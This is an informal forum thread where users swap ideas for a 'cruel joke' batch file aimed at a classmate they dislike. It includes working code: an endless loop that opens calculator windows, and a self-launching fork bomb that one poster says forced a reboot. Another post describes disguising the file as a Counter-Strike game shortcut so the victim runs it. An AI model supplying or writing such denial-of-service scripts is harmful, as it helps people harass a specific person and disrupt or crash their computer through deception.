Cruel batch file :3

[Varuna]

I need a few ideas to create a batch file for this lad in my class, he's being a real a-hole and we want to make a batch file for him...any ideas?

nothing malitious though just for a joke, cruel joke.

I'll probably need help writing it aswell

[Jim]

:MUHAHA

calc.exe

GOTO MUHAHA

^Start a million calculators on his PC. BTW You didn't get this from me and I accept no responsibility for its usage

[Hyper]

I am so tempted to try this myself on a few college mates.

[mrapoc]

We already did one to a mate...we made a Counter-Strike shortcut which was actually a batch file which looped cmd windows

Reboot time xD

[Varuna]

meh calc isnt bad but I want something a bit better....

On a side note we were making a CS 1.6 LAN event and our mate said 'should we make a ping limit' LOL

This is the one apoc is on about

:loop

start joke.bat

Goto loop

Save as joke.bat

[mrapoc]

I dont think the shutdown command works in college. Perhaps make a batch that launches a batch that launches another and so on, all of which looping a different program...not strong enough to crash but anoying so that they sit back crying?